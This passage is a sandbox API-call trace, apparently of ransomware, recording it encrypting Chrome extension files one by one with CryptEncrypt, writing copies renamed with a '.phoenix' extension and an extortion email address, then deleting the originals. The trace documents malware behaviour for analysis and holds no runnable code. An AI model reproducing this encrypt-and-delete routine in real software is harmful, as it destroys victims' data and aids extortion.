	[0264.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.100] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.100] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.100] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0264.101] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151340) returned 1
	[0264.101] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.101] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x2919, lpOverlapped=0x0) returned 1
	[0264.127] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2920, dwBufLen=0x2920 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x2920) returned 1
	[0264.127] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x2920, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x2920, lpOverlapped=0x0) returned 1
	[0264.128] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0264.128] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.128] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0264.128] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0264.128] WriteFile (in: hFile=0x304, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0264.128] CryptDestroyKey (hKey=0x151340) returned 1
	[0264.128] CloseHandle (hObject=0x2f0) returned 1
	[0264.128] CloseHandle (hObject=0x304) returned 1
	[0264.128] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\feedback_script.js")) returned 1
	[0264.134] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.134] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.135] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=368623) returned 1
	[0264.135] CloseHandle (hObject=0x2f0) returned 1
	[0264.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css")) returned 0x20
	[0264.135] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0264.135] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.135] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.135] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0264.136] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0264.136] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.136] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x59fef, lpOverlapped=0x0) returned 1
	[0264.289] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x59ff0, dwBufLen=0x59ff0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x59ff0) returned 1
	[0264.289] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x59ff0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x59ff0, lpOverlapped=0x0) returned 1
	[0264.297] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1516c0) returned 1
	[0264.297] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.297] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0264.297] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0264.297] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0264.297] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.297] CloseHandle (hObject=0x2f0) returned 1
	[0264.297] CloseHandle (hObject=0x2c0) returned 1
	[0264.297] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\material_css_min.css")) returned 1
	[0264.305] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.305] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.311] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=246074) returned 1
	[0264.311] CloseHandle (hObject=0x2b0) returned 1
	[0264.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js")) returned 0x20
	[0264.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.311] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.311] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.311] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.316] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0264.316] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.316] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x3c13a, lpOverlapped=0x0) returned 1
	[0264.330] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3c140, dwBufLen=0x3c140 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x3c140) returned 1
	[0264.330] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x3c140, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x3c140, lpOverlapped=0x0) returned 1
	[0264.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151400) returned 1
	[0264.336] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.336] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0264.336] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.336] WriteFile (in: hFile=0x254, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0264.336] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.336] CloseHandle (hObject=0x2b0) returned 1
	[0264.336] CloseHandle (hObject=0x254) returned 1
	[0264.337] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_common.js")) returned 1
	[0264.340] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.340] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.341] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=432305) returned 1
	[0264.341] CloseHandle (hObject=0x254) returned 1
	[0264.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js")) returned 0x20
	[0264.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.341] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.341] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.341] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.341] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.342] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0264.342] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.342] ReadFile (in: hFile=0x254, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x698b1, lpOverlapped=0x0) returned 1
	[0264.367] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x698c0, dwBufLen=0x698c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x698c0) returned 1
	[0264.367] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x698c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x698c0, lpOverlapped=0x0) returned 1
	[0264.386] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0264.386] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.386] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0264.386] CryptDestroyKey (hKey=0x151500) returned 1
	[0264.386] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0264.387] CryptDestroyKey (hKey=0x151400) returned 1
	[0264.387] CloseHandle (hObject=0x254) returned 1
	[0264.387] CloseHandle (hObject=0x2b0) returned 1
	[0264.387] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\mirroring_hangouts.js")) returned 1
	[0264.392] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0264.392] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.393] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17865) returned 1
	[0264.393] CloseHandle (hObject=0x2b0) returned 1
	[0264.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json")) returned 0x20
	[0264.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0264.393] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0264.393] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.393] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0264.393] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254
	[0264.394] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0264.394] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0264.394] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x45c9, lpOverlapped=0x0) returned 1
	[0264.416] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x45d0, dwBufLen=0x45d0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x45d0) returned 1
